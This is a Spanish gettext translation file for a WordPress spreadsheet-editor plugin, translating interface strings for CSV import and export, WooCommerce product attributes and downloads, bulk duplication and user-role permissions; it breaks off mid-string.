frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:200 woocommerce/woocommerce.php:411 msgid "Attribute %d default" msgstr "Atributo %d por defecto" #. translators: %d: Download number #: woocommerce/inc/import-export.php:203 woocommerce/woocommerce.php:413 msgid "Download %d name" msgstr "Nombre de la descarga %d" #: woocommerce/inc/import-export.php:204 msgid "Download %d ID" msgstr "ID de la descarga %d" #. translators: %d: Download number #: woocommerce/inc/import-export.php:205 woocommerce/woocommerce.php:415 msgid "Download %d URL" msgstr "URL de la descarga %d" #: woocommerce/inc/import-export.php:319 msgid "Skip broken images?" msgstr "¿Omitir las imágenes rotas?" #: woocommerce/inc/import-export.php:319 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Por defecto, la importación se detiene cuando un producto hace referencia a " "una imagen rota y hay que corregir el problema en el archivo e iniciar una " "nueva importación. Habilita esta opción y te permitiremos importar productos " "sin imágenes cuando la URL de la imagen esté rota" #: woocommerce/inc/import-export.php:326 msgid "Downloads" msgstr "Descargas" #: woocommerce/inc/import-export.php:327 msgid "Attributes" msgstr "Atributos" #: woocommerce/inc/import-export.php:458 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Aquí hay un archivo CSV como 